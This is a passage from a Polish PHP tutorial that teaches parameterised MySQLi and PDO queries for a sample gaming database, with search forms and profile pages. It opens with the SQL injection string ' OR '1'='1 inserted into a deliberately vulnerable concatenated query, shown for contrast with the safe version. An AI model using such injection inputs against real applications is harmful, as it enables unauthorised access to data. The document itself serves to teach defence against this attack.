<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Krok 1: Przygotowanie zapytania (prepare)
------------------------------------------
PHP do MySQL:  "Przygotuj zapytanie: SELECT * FROM players WHERE username = ?"
MySQL:         "OK, czekam na dane do znaku zapytania"


Krok 2: Wysłanie danych (execute/bind_param)
---------------------------------------------
PHP do MySQL:  "Podstaw wartość: ' OR '1'='1"
MySQL:         "OK, traktuję to jako TEKST, nie jako KOD SQL"


Krok 3: Wykonanie
-----------------
MySQL wykonuje: SELECT * FROM players WHERE username = '\' OR \'1\'=\'1\''
                                                          ↑ Escapowane apostrofy
Wynik:          Szuka gracza o nicku "' OR '1'='1" (nie znajdzie takiego)
                NIE WYKONUJE ataku!</code></pre>



<h3 class="wp-block-heading">Przykład działania &#8211; porównanie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// BEZ prepared statements (niebezpieczne):
$username = "' OR '1'='1";
$sql = "SELECT * FROM players WHERE username = '$username'";
// Zapytanie: SELECT * FROM players WHERE username = '' OR '1'='1'
// ATAK SKUTECZNY!


// Z prepared statements (bezpieczne):
$username = "' OR '1'='1";
$stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE username = :username");
$stmt-&gt;execute(&#91;'username' =&gt; $username]);
// Zapytanie: SELECT * FROM players WHERE username = '\' OR \'1\'=\'1\''
// Szuka gracza o nicku "' OR '1'='1" - nie znajdzie
// ATAK ZABLOKOWANY!</code></pre>



<h2 class="wp-block-heading">SELECT z warunkiem WHERE &#8211; dane z formularza ($_POST)</h2>



<h2 class="wp-block-heading"><strong>Bezpieczne podejście z prepared statements</strong> &#8211; tak robimy.</h2>



<h3 class="wp-block-heading">Przykład 1: Pobierz wszystkich graczy (prepared statements) &#8211; <strong>MySQLi obiektowo:</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Połączenie z bazą
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die("Błąd połączenia: {$db-&gt;connect_error}");
}

$db-&gt;set_charset('utf8mb4');
echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';

// BEZPIECZNE - Prepared statement
// Dla SELECT * bez parametrów też używamy prepare() (dobra praktyka)
$stmt = $db-&gt;prepare("SELECT * FROM players");
$stmt-&gt;execute();

// Pobranie wyniku
$wynik = $stmt-&gt;get_result();

// Sprawdzamy liczbę rekordów
$ile_wierszy = $wynik-&gt;num_rows;
echo "Znaleziono graczy: &lt;strong&gt;{$ile_wierszy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";

// Wyświetlamy w tabeli
echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
echo '&lt;tr&gt;
        &lt;th&gt;ID&lt;/th&gt;
        &lt;th&gt;Username&lt;/th&gt;
        &lt;th&gt;Level&lt;/th&gt;
        &lt;th&gt;Coins&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Wins/Losses&lt;/th&gt;
      &lt;/tr&gt;';

// Pętla while - pobieramy kolejne rekordy
while ($wiersz = $wynik-&gt;fetch_assoc()) {
    $username = htmlspecialchars($wiersz&#91;'username']);
    $coins = number_format($wiersz&#91;'coins']);
    
    echo "&lt;tr&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
    echo "&lt;td&gt;{$username}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
    echo "&lt;td&gt;{$coins}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'wins']}/{$wiersz&#91;'losses']}&lt;/td&gt;";
    echo "&lt;/tr&gt;";
}

echo '&lt;/table&gt;';

// Zamknięcie
$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h3 class="wp-block-heading"><strong>PDO:</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    // Połączenie PDO
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';
    
    // BEZPIECZNE - Prepared statement
    $stmt = $pdo-&gt;prepare("SELECT * FROM players");
    $stmt-&gt;execute();
    
    // Pobranie wszystkich wyników
    $wyniki = $stmt-&gt;fetchAll();
    
    $liczba_graczy = count($wyniki);
    echo "Znaleziono graczy: &lt;strong&gt;{$liczba_graczy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";
    
    // Wyświetlanie w tabeli HTML
    echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
    echo '&lt;tr&gt;
            &lt;th&gt;ID&lt;/th&gt;
            &lt;th&gt;Username&lt;/th&gt;
            &lt;th&gt;Level&lt;/th&gt;
            &lt;th&gt;Coins&lt;/th&gt;
            &lt;th&gt;Rank&lt;/th&gt;
            &lt;th&gt;Games&lt;/th&gt;
            &lt;th&gt;Win Rate&lt;/th&gt;
          &lt;/tr&gt;';
    
    foreach ($wyniki as $wiersz) {
        // Obliczamy Win Rate (procent wygranych)
        $winRate = $wiersz&#91;'games_played'] &gt; 0 
            ? round(($wiersz&#91;'wins'] / $wiersz&#91;'games_played']) * 100, 1) 
            : 0;
        
        $username = htmlspecialchars($wiersz&#91;'username']);
        $coins = number_format($wiersz&#91;'coins']);
        
        echo "&lt;tr&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
        echo "&lt;td&gt;{$username}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
        echo "&lt;td&gt;{$coins}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'games_played']}&lt;/td&gt;";
        echo "&lt;td&gt;{$winRate}%&lt;/td&gt;";
        echo "&lt;/tr&gt;";
    }
    
    echo '&lt;/table&gt;';
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

// Zamknięcie połączenia
$pdo = null;
?&gt;</code></pre>



<ul class="wp-block-list">
<li>Używamy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>&nbsp;dla bezpieczeństwa (ochrona przed XSS)</li>



<li>Używamy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">number_format()</code>&nbsp;dla czytelności liczb (1234 → 1,234)</li>



<li>PDO automatycznie zwraca tablice asocjacyjne (ustawiliśmy w opcjach)</li>
</ul>



<h3 class="wp-block-heading">Przykład 2: Wyszukiwanie gracza po nicku (formularz POST) </h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Sprawdzamy czy formularz został wysłany
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    
    if (!empty($username)) {
        // BEZPIECZNE - Prepared statement
        $stmt = $db-&gt;prepare("SELECT * FROM players WHERE username = ?");
        
        // Bindowanie parametru (s = string)
        $stmt-&gt;bind_param("s", $username);
        
        // Wykonanie zapytania
        $stmt-&gt;execute();
        
        // Pobranie wyniku
        $wynik = $stmt-&gt;get_result();
        
        if ($gracz = $wynik-&gt;fetch_assoc()) {
            $safe_username = htmlspecialchars($gracz&#91;'username']);
            $safe_email = htmlspecialchars($gracz&#91;'email']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;h2&gt;Profil Gracza&lt;/h2&gt;";
            echo "&lt;strong&gt;{$safe_username}&lt;/strong&gt;&lt;br&gt;";
            echo "Email: {$safe_email}&lt;br&gt;";
            echo "Level: {$gracz&#91;'level']}&lt;br&gt;";
            echo "Rank: {$gracz&#91;'rank_name']}&lt;br&gt;";
            echo "Coins: {$coins}&lt;br&gt;";
            echo "Games: {$gracz&#91;'games_played']} (W: {$gracz&#91;'wins']}, L: {$gracz&#91;'losses']})&lt;br&gt;";
        } else {
            $safe_search = htmlspecialchars($username);
            echo "Nie znaleziono gracza: {$safe_search}";
        }
        
        $stmt-&gt;close();
    } else {
        echo "Wpisz nick gracza!";
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukaj gracza&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input&#91;type="text"] {
            padding: 10px;
            width: 70%;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukaj gracza&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Wpisz nick gracza" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" required&gt;
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">PDO</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Sprawdzamy czy formularz został wysłany
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $username = trim($_POST&#91;'username'] ?? '');
        
        if (!empty($username)) {
            // BEZPIECZNE - Prepared statement z named parameter
            $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE username = :username");
            $stmt-&gt;execute(&#91;'username' =&gt; $username]);
            
            $gracz = $stmt-&gt;fetch();
            
            if ($gracz) {
                $safe_username = htmlspecialchars($gracz&#91;'username']);
                $safe_email = htmlspecialchars($gracz&#91;'email']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;h2&gt;Profil Gracza&lt;/h2&gt;";
                echo "&lt;strong&gt;{$safe_username}&lt;/strong&gt;&lt;br&gt;";
                echo "Email: {$safe_email}&lt;br&gt;";
                echo "Level: {$gracz&#91;'level']}&lt;br&gt;";
                echo "Rank: {$gracz&#91;'rank_name']}&lt;br&gt;";
                echo "Coins: {$coins}&lt;br&gt;";
                echo "Games: {$gracz&#91;'games_played']} (W: {$gracz&#91;'wins']}, L: {$gracz&#91;'losses']})&lt;br&gt;";
            } else {
                $safe_search = htmlspecialchars($username);
                echo "Nie znaleziono gracza: {$safe_search}";
            }
        } else {
            echo "Wpisz nick gracza!";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukaj gracza&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input&#91;type="text"] {
            padding: 10px;
            width: 70%;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukaj gracza&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Wpisz nick gracza" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" required&gt;
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">SELECT z warunkiem WHERE &#8211; dane z URL ($_GET)</h2>



<h3 class="wp-block-heading">Przykład 3: Profil gracza przez URL (GET)</h3>



<p class="wp-block-paragraph"><strong>Adres URL:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=5</code>&nbsp;lub&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?username=ProGamer_Mike</code></p>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// profil.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'id'])) {
    // Pobieramy ID z URL
    $player_id = (int)$_GET&#91;'id'];
    
    if ($player_id &gt; 0) {
        // BEZPIECZNE - Prepared statement
        $stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
        $stmt-&gt;bind_param("i", $player_id);  // i = integer
        $stmt-&gt;execute();
        
        $wynik = $stmt-&gt;get_result();
        
        if ($gracz = $wynik-&gt;fetch_assoc()) {
            $username = htmlspecialchars($gracz&#91;'username']);
            $email = htmlspecialchars($gracz&#91;'email']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;h1&gt;Profil gracza&lt;/h1&gt;";
            echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
            echo "&lt;h2&gt;{$username}&lt;/h2&gt;";
            echo "&lt;p&gt;Email: {$email}&lt;/p&gt;";
            echo "&lt;p&gt;Level: &lt;strong&gt;{$gracz&#91;'level']}&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;p&gt;Rank: &lt;strong&gt;{$gracz&#91;'rank_name']}&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;p&gt;Coins: &lt;strong&gt;{$coins}&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;p&gt;Rozegrane gry: {$gracz&#91;'games_played']}&lt;/p&gt;";
            echo "&lt;p&gt;Wygrane: {$gracz&#91;'wins']}&lt;/p&gt;";
            echo "&lt;p&gt;Przegrane: {$gracz&#91;'losses']}&lt;/p&gt;";
            
            // Win Rate
            $winRate = $gracz&#91;'games_played'] &gt; 0 
                ? round(($gracz&#91;'wins'] / $gracz&#91;'games_played']) * 100, 1) 
                : 0;
            echo "&lt;p&gt;Win Rate: &lt;strong&gt;{$winRate}%&lt;/strong&gt;&lt;/p&gt;";
            echo "&lt;/div&gt;";
        } else {
            echo "Nie znaleziono gracza o ID: {$player_id}";
        }
        
        $stmt-&gt;close();
    } else {
        echo "Nieprawidłowe ID gracza";
    }
} else {
    echo "Podaj ID gracza w URL (np. profil.php?id=5)";
}

$db-&gt;close();

// Lista linków do innych graczy
echo "&lt;br&gt;&lt;hr&gt;&lt;h3&gt;Inni gracze:&lt;/h3&gt;";
echo "&lt;a href='profil.php?id=1'&gt;Gracz #1&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=2'&gt;Gracz #2&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=3'&gt;Gracz #3&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=7'&gt;Gracz #7&lt;/a&gt;";
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// profil.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // sprawdzamy metodę HTTP i parametr
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'id'])) {
        // Pobieramy ID z URL
        $player_id = (int)$_GET&#91;'id'];
        
        if ($player_id &gt; 0) {
            // BEZPIECZNE - Prepared statement
            $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE id = :id");
            $stmt-&gt;execute(&#91;'id' =&gt; $player_id]);
            
            $gracz = $stmt-&gt;fetch();
            
            if ($gracz) {
                $username = htmlspecialchars($gracz&#91;'username']);
                $email = htmlspecialchars($gracz&#91;'email']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;h1&gt;Profil gracza&lt;/h1&gt;";
                echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
                echo "&lt;h2&gt;{$username}&lt;/h2&gt;";
                echo "&lt;p&gt;Email: {$email}&lt;/p&gt;";
                echo "&lt;p&gt;Level: &lt;strong&gt;{$gracz&#91;'level']}&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;p&gt;Rank: &lt;strong&gt;{$gracz&#91;'rank_name']}&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;p&gt;Coins: &lt;strong&gt;{$coins}&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;p&gt;Rozegrane gry: {$gracz&#91;'games_played']}&lt;/p&gt;";
                echo "&lt;p&gt;Wygrane: {$gracz&#91;'wins']}&lt;/p&gt;";
                echo "&lt;p&gt;Przegrane: {$gracz&#91;'losses']}&lt;/p&gt;";
                
                // Win Rate
                $winRate = $gracz&#91;'games_played'] &gt; 0 
                    ? round(($gracz&#91;'wins'] / $gracz&#91;'games_played']) * 100, 1) 
                    : 0;
                echo "&lt;p&gt;Win Rate: &lt;strong&gt;{$winRate}%&lt;/strong&gt;&lt;/p&gt;";
                echo "&lt;/div&gt;";
            } else {
                echo "Nie znaleziono gracza o ID: {$player_id}";
            }
        } else {
            echo "Nieprawidłowe ID gracza";
        }
    } else {
        echo "Podaj ID gracza w URL (np. profil.php?id=5)";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;

// Lista linków do innych graczy
echo "&lt;br&gt;&lt;hr&gt;&lt;h3&gt;Inni gracze:&lt;/h3&gt;";
echo "&lt;a href='profil.php?id=1'&gt;Gracz #1&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=2'&gt;Gracz #2&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=3'&gt;Gracz #3&lt;/a&gt; | ";
echo "&lt;a href='profil.php?id=7'&gt;Gracz #7&lt;/a&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 4: Wyszukiwarka z wieloma filtrami (formularz POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    $rank = $_POST&#91;'rank'] ?? '';
    $min_level = (int)($_POST&#91;'min_level'] ?? 0);
    
    // Budujemy zapytanie dynamicznie (BEZPIECZNIE!)
    $sql = "SELECT * FROM players WHERE 1=1";
    $types = "";
    $params = &#91;];
    
    if (!empty($username)) {
        $sql .= " AND username LIKE ?";
        $types .= "s";
        $params&#91;] = "%{$username}%";
    }
    
    if (!empty($rank)) {
        $sql .= " AND rank_name = ?";
        $types .= "s";
        $params&#91;] = $rank;
    }
    
    if ($min_level &gt; 0) {
        $sql .= " AND level &gt;= ?";
        $types .= "i";
        $params&#91;] = $min_level;
    }
    
    $sql .= " ORDER BY level DESC";
    
    // Przygotowanie i wykonanie zapytania
    $stmt = $db-&gt;prepare($sql);
    
    if (!empty($params)) {
        $stmt-&gt;bind_param($types, ...$params);
    }
    
    $stmt-&gt;execute();
    $wynik = $stmt-&gt;get_result();
    
    // Wyświetlamy wyniki
    if ($wynik-&gt;num_rows &gt; 0) {
        echo "&lt;h3&gt;Znaleziono: {$wynik-&gt;num_rows} graczy&lt;/h3&gt;";
        
        echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
        echo '&lt;tr style="background:#007bff; color:white;"&gt;
                &lt;th&gt;Username&lt;/th&gt;
                &lt;th&gt;Level&lt;/th&gt;
                &lt;th&gt;Rank&lt;/th&gt;
                &lt;th&gt;Coins&lt;/th&gt;
                &lt;th&gt;Games&lt;/th&gt;
              &lt;/tr&gt;';
        
        while ($gracz = $wynik-&gt;fetch_assoc()) {
            $safe_username = htmlspecialchars($gracz&#91;'username']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;tr&gt;";
            echo "&lt;td&gt;{$safe_username}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
            echo "&lt;td&gt;{$coins}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
            echo "&lt;/tr&gt;";
        }
        
        echo '&lt;/table&gt;';
    } else {
        echo "&lt;p&gt;Nie znaleziono graczy spełniających kryteria&lt;/p&gt;";
    }
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukiwarka graczy&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 1000px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        tr:hover {
            background: #f5f5f5;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukiwarka Graczy&lt;/h1&gt;

&lt;form method="POST"&gt;
    &lt;input type="text" name="username" placeholder="Nick gracza (fragment)" value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"&gt;
    
    &lt;select name="rank"&gt;
        &lt;option value=""&gt;Wszystkie rangi&lt;/option&gt;
        &lt;option value="Bronze" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
        &lt;option value="Silver" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
        &lt;option value="Gold" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
        &lt;option value="Platinum" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
        &lt;option value="Diamond" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
        &lt;option value="Master" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
        &lt;option value="Grandmaster" &lt;?= ($_POST&#91;'rank'] ?? '') == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
    &lt;/select&gt;
    
    &lt;input type="number" name="min_level" placeholder="Min. poziom" min="1" value="&lt;?= htmlspecialchars($_POST&#91;'min_level'] ?? '') ?&gt;"&gt;
    
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $username = trim($_POST&#91;'username'] ?? '');
        $rank = $_POST&#91;'rank'] ?? '';
        $min_level = (int)($_POST&#91;'min_level'] ?? 0);
        
        // Budujemy zapytanie dynamicznie (BEZPIECZNIE!)
        $sql = "SELECT * FROM players WHERE 1=1";
        $params = &#91;];
        
        if (!empty($username)) {
            $sql .= " AND username LIKE :username";
            $params&#91;'username'] = "%{$username}%";
        }
        
        if (!empty($rank)) {
            $sql .= " AND rank_name = :rank";
            $params&#91;'rank'] = $rank;
        }
        
        if ($min_level &gt; 0) {
            $sql .= " AND level &gt;= :min_level";
            $params&#91;'min_level'] = $min_level;
        }
        
        $sql .= " ORDER BY level DESC";
        
        // Wykonujemy zapytanie
        $stmt = $pdo-&gt;prepare($sql);
        $stmt-&gt;execute($params);
        $wyniki = $stmt-&gt;fetchAll();
        
        // Wyświetlamy wyniki
        $liczba = count($wyniki);
        if ($liczba &gt; 0) {
            echo "&lt;h3&gt;Znaleziono: {$liczba} graczy&lt;/h3&gt;";
            
            echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
            echo '&lt;tr style="background:#007bff; color:white;"&gt;
                    &lt;th&gt;Username&lt;/th&gt;
                    &lt;th&gt;Level&lt;/th&gt;
                    &lt;th&gt;Rank&lt;/th&gt;
                    &lt;th&gt;Coins&lt;/th&gt;
                    &lt;th&gt;Games&lt;/th&gt;
                  &lt;/tr&gt;';
            
            foreach ($wyniki as $gracz) {
                $safe_username = htmlspecialchars($gracz&#91;'username']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;tr&gt;";
                echo "&lt;td&gt;{$safe_username}&lt;/td&gt;";
                echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
                echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
                echo "&lt;td&gt;{$coins}&lt;/td&gt;";
                echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
                echo "&lt;/tr&gt;";
            }
            
            echo '&lt;/table&gt;';
        } else {
            echo "&lt;p&gt;Nie znaleziono graczy spełniających kryteria&lt;/p&gt;";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukiwarka graczy&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 1000px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
